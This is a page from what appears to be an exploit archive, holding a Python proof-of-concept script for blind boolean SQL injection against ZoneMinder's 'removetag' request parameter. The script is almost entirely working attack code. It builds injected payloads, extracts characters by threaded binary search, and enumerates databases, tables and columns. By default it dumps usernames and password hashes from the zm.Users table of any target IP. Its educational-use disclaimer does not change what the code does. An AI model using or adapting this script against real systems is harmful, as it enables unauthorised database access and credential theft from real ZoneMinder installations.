4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
# DISCLAIMER:
# This script is a Proof of Concept (PoC) for educational purposes only.
# Do not use it for illegal activities. The author is not responsible for any misuse.

import requests
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
import sys
import argparse

# make it pretty
ORANGE = '\033[0;33m'
GREEN = '\033[0;32m'
RESET = '\033[0m'

MAX_LENGTH = 255  # max length of names - cater for long hashed passwords

def generate_payload(offset, pos, mid, db=None, table=None, column=None, column_type=False, dump_column=False):
    if dump_column and db and table and column is not None:
        hex_db = db.encode().hex()
        hex_table = table.encode().hex()
        hex_column = column.encode().hex()
        payload = (
            f"(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST({column} AS NCHAR),0x20) "
            f"FROM {db}.{table} LIMIT {offset},1),{pos},1)) > {mid}) THEN 1 ELSE (SELECT 8684 UNION SELECT 1047) END))"
        )
    elif column_type and db and table and column is not None:
        hex_db = db.encode().hex()
        hex_table = table.encode().hex()
        payload = (
            f"(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(column_type AS NCHAR),0x20) "
            f"FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema=0x{hex_db} "
            f"AND table_name=0x{hex_table} LIMIT {offset},1),{pos},1)) > {mid}) THEN 1 ELSE (SELECT 8684 UNION SELECT 1047) END))"
        )
    elif column is not None and db and table:
        hex_db = db.encode().hex()
        hex_table = table.encode().hex()
        payload = (
            f"(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(column_name AS NCHAR),0x20) "
            f"FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema=0x{hex_db} "
            f"AND table_name=0x{hex_table} LIMIT {offset},1),{pos},1)) > {mid}) THEN 1 ELSE (SELECT 8684 UNION SELECT 1047) END))"
        )
    elif db and not table:
        hex_db = db.encode().hex()
        payload = (
            f"(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(table_name AS NCHAR),0x20) "
            f"FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x{hex_db} LIMIT {offset},1),{pos},1)) > {mid}) THEN 1 ELSE (SELECT 8684 UNION SELECT 1047) END))"
        )
    else:
        payload = (
            f"(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(schema_name AS NCHAR),0x20) "
            f"FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {offset},1),{pos},1)) > {mid}) THEN 1 ELSE (SELECT 8684 UNION SELECT 1047) END))"
        )
    return urllib.parse.quote(payload)

def test_char(ip, offset, pos, mid, db=None, table=None, column=None, column_type=False, dump_column=False):
    url = f"http://{ip}/zm/index.php?view=request&request=event&action=removetag&tid={generate_payload(offset, pos, mid, db, table, column, column_type, dump_column)}"
    try:
        r = requests.get(url, timeout=5)
        return r.status_code == 200
    except Exception:
        return False

def extract_char(ip, offset, pos, db=None, table=None, column=None, column_type=False, dump_column=False):
    low = 32
    high = 126
    while low <= high:
        mid = (low + high) // 2
        if test_char(ip, offset, pos, mid, db, table, column, column_type, dump_column):
            low = mid + 1
        else:
            high = mid - 1
    if low < 32 or low > 126:
        return None
    return low

def extract_name(ip, offset, db=None, table=None, column=None, column_type=False, dump_column=False):
    chars = [None] * MAX_LENGTH
    with ThreadPoolExecutor(max_workers=MAX_LENGTH) as executor:
        futures = {executor.submit(extract_char, ip, offset, pos+1, db, table, column, column_type, dump_column): pos for pos in range(MAX_LENGTH)}
        for future in as_completed(futures):
            pos = futures[future]
            chars[pos] = future.result()
    name_chars = []
    for c in chars:
        if c is None:
            break
        name_chars.append(chr(c))
    return ''.join(name_chars).strip()

def extract_databases(ip):
    print(f"{ORANGE}[*] Extracting all database names:{RESET}")
    dbnames = []
    empty_count = 0
    offset = 0
    while True:
        dbname = extract_name(ip, offset)
        if dbname == "":
            empty_count += 1
            if empty_count >= 1:
                print(f"{ORANGE}[*] No more databases found{RESET}")
                break
        else:
            empty_count = 0
            print(dbname)
            dbnames.append(dbname)
        offset += 1
    return dbnames

def extract_tables(ip, dbname):
    print(f"\n{ORANGE}[*] Extracting tables from database '{dbname}':{RESET}")
    tablenames = []
    empty_count = 0
    offset = 0
    while True:
        tablename = extract_name(ip, offset, db=dbname)
        if tablename == "":
            empty_count += 1
            if empty_count >= 1:
                print(f"{ORANGE}[*] No more tables found in database '{dbname}'{RESET}")
                break
        else:
            empty_count = 0
            print(tablename)
            tablenames.append(tablename)
        offset += 1
    return tablenames

def extract_columns(ip, dbname, tablename):
    print(f"\n{ORANGE}[*] Extracting columns from table '{tablename}' in database '{dbname}':{RESET}")
    columns = []
    empty_count = 0
    offset = 0
    while True:
        col_name = extract_name(ip, offset, db=dbname, table=tablename, column=offset, column_type=False)
        if col_name == "":
            empty_count += 1
            if empty_count >= 1:
                print(f"{ORANGE}[*] No more columns found in table '{tablename}'{RESET}")
                break
        else:
            empty_count = 0
            col_type = extract_name(ip, offset, db=dbname, table=tablename, column=offset, column_type=True)
            columns.append((col_name, col_type))
            print(f"{col_name:<20} {col_type}")
        offset += 1
    return columns

def dump_column_data(ip, dbname, tablename, column):
    values = []
    offset = 0
    while True:
        value = extract_name(ip, offset, db=dbname, table=tablename, column=column, dump_column=True)
        if value == "":
            break
        values.append(value)
        offset += 1
    return values

def main():
    parser = argparse.ArgumentParser(description="Extract DB names, tables, columns, and dump data via blind SQLi")
    parser.add_argument("-i", "--ip", required=True, help="Target IP address")
    parser.add_argument("--discovery", action="store_true", help="Run full interactive discovery mode")
    args = parser.parse_args()

    ip = args.ip

    if not args.discovery:
        selected_db = "zm"
        selected_table = "Users"
        username_col = "Username"
        password_col = "Password"

        print(f"{ORANGE}[*] Enumerating database '{selected_db}.{selected_table}'{RESET}")
        usernames = dump_column_data(ip, selected_db, selected_table, username_col)
        passwords = dump_column_data(ip, selected_db, selected_table, password_col)

        if not usernames or not passwords:
            print(f"[!] Couldn't find default database settings, please try manual checks")
            print(f"[*] Usage. python3 poc.py -i <ip> --discovery")
            return

        print(f"{GREEN}[!] Found User and Password :{RESET}")
        for u, p in zip(usernames, passwords):
            print(f"{u}:{p}")
        return

    dbnames = extract_databases(ip)
    if not dbnames:
        print("[!] No databases found.")
        sys.exit(1)

    print(f"\n{GREEN}[+] Successfully extracted database names:{RESET}")
    for i, dbname in enumerate(dbnames, 1):
        print(f"{i}) {dbname}")

    choice = input(f"\nSelect database to enumerate tables [1-{len(dbnames)}]: ")
    idx = int(choice) - 1
    selected_db = dbnames[idx]

    tables = extract_tables(ip, selected_db)
    print(f"\n{GREEN}[+] Successfully extracted tables in database '{selected_db}':{RESET}")
    for i, table in enumerate(tables, 1):
        print(f"{i}) {table}")

    table_choice = input(f"\nSelect table to enumerate columns [1-{len(tables)}]: ")
    t_idx = int(table_choice) - 1
    selected_table = tables[t_idx]

    columns = extract_columns(ip, selected_db, selected_table)
    print(f"\n{GREEN}[+] Columns in table '{selected_table}':{RESET}")
    print(f"{'Column Name':<20} Type")
    print("-" * 40)
    for i, (col_name, col_type) in enumerate(columns, 1):
        print(f"{i}) {col_name:<20} {col_type}")

    col_choices = input(f"\nSelect columns to dump data (comma-separated) [1-{len(columns)}] or press Enter to skip: ")
    if col_choices.strip():
        indices = [int(i.strip()) - 1 for i in col_choices.split(',') if i.strip().isdigit()]
        for idx in indices:
            selected_column = columns[idx][0]
            values = dump_column_data(ip, selected_db, selected_table, selected_column)
            print(f"\n{ORANGE}[*] Dumping data from column '{selected_column}' in table '{selected_table}' of database '{selected_db}':{RESET}")
            for v in values:
                print(v)

if __name__ == "__main__":
    main()